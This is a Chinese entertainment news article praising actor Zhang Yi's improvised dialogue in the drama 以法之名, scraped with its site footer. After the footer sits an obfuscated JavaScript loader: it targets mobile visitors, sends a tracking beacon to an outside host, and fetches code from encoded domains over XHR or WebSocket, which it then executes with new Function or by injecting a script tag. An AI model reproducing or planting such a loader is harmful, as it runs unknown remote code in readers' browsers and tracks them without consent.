谁说演员不能改词？张译《以法之名》三场即兴表演成就精彩名场面

来源：泡剧网人气：444更新：2025-07-21 13:08:16

央视热播剧《以法之名》播到28集进入白热化时刻，坏人逐渐露出水面，张译饰演的洪亮在里面有很多经典台词，被合作演员曝是张译自己改的。



1、你不配哭

吊唁完乔振兴出来，洪亮感觉李人骏、谢鸿飞有可能是内奸，就要查他们的手机。

李人骏乖乖交上来，到了谢鸿飞那里急得上蹿下跳实在不行在那哭好同事乔振兴。



洪亮怒了，直接来了句：你不配哭。

短短四个字，不仅强化了洪亮的正义感，也揭露了谢鸿飞的虚伪——伤害他人时毫无怜悯，被怀疑后就上蹿下跳装可怜。



饰演谢鸿飞的演员郝平直播时说这句台词是张译临场发挥出来的，特别的好，这四个字让整场戏的张力提升了一个层次。

2、你个李人贱

李人骏、洪亮、乔振兴三个人不但是大学室友，毕业后更是一起分配到东平检察院的同事。



乔排兴死了，李人骏不但不悲痛不去吊唁还阻止洪亮醒死因。气得洪亮用指头指着李人骏的心口说：你还知道“人”字怎么写吗？做个人吧，李人“贱”。

这句即兴台词既讽刺了李人骏的虚伪，又巧妙化解了两人剑拔弩张的紧张气氛，更展现了两人的关系有多好。



李光洁采访说这个外号是两人吵架时张译即兴蹦出来的，他当时都吃了一惊，大家感觉还挺好，两人吵架中叫了好几次。

3、素质好、气质佳、跑得快、态度甜、长得像领导、打赏五块钱

洪亮为了查案子帮外卖小哥送餐，从1楼走步梯送到了23楼。意外收到顾客好评：素质好、气质佳、跑得快、态度甜、长得像领导、打赏五块钱。



有网友感觉这台词太像张译本译了，怀疑是张译自己写的。扮演外卖小哥的群演马明屿证实确实是张译自己写的，全是他即兴创作临场发挥出来的。

谁能想到呢？这些张译即兴创作的台词，都成了电视剧中的经典台词，成了精彩名场面，上了无数热搜。看到这里，很多网友表示佩服，并说谁说演员不能改台词？像张译这样喜欢改台词，能把剧本提升一个档次的演员多一些吧。



其实仔细看会发现，张译的这些临场发挥并非随意，而是基于对洪亮“接地气公务员”人设的深刻理解。洪亮出生于农村，性格又怂，说话做事都是比较随意与接地气。

真正优秀的演员，诠释角色时不仅仅拿着剧本死记硬背，而是要转化成自己的语言，“重塑”角色，让角色更丰满更生活化。

#张译新剧以法之名#


最新资讯

郑重声明：泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function wTUYUY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wTUYUY(t);};window[''+'d'+'p'+'U'+'X'+'Z'+'X'+'w'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.siabcbfo.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNNiZnNNrdmxydnJrdm5uZG5yaHMuY29tJTNNBODg4NNw==','d3NzJTTNBJTTJGJTTJGZC5zamZrYnZza3Zzam5ia3J2LmNvbSUzQTTg4ODc=','2891',window,document,['N','T']);}:function(){};